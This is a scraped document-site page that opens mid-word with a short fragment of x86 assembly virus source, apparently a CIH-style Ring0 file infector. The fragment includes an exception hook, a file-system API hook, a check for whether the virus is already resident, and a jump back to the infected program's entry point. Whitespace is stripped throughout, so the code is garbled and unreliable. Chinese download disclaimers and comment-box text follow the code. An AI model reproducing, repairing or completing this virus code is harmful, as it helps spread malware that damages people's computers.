rusCode:@1=StopToRunVirusCodexorebx,ebxmoveax,fs:[ebx]movesp,[eax]RestoreSE:popdwordptrfs:[ebx]popeax;*************************************;*ReturnOriginalApptoExecute*;*************************************popebppush00401000h;PushOriginalOriginalAddressOfEntryPoint=$-4;AppEntryPointtoStackret;ReturntoOriginalAppEntryPoint;*********************************************************;*Ring0VirusGameInitialProgram*;*********************************************************MyExceptionHook:@2=MyExceptionHookjzInstallMyFileSystemApiHook;*************************************;*DoMyVirusExistinSystem!?*;*************************************movecx,dr0jecxzAllocateSystemMemoryPag

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论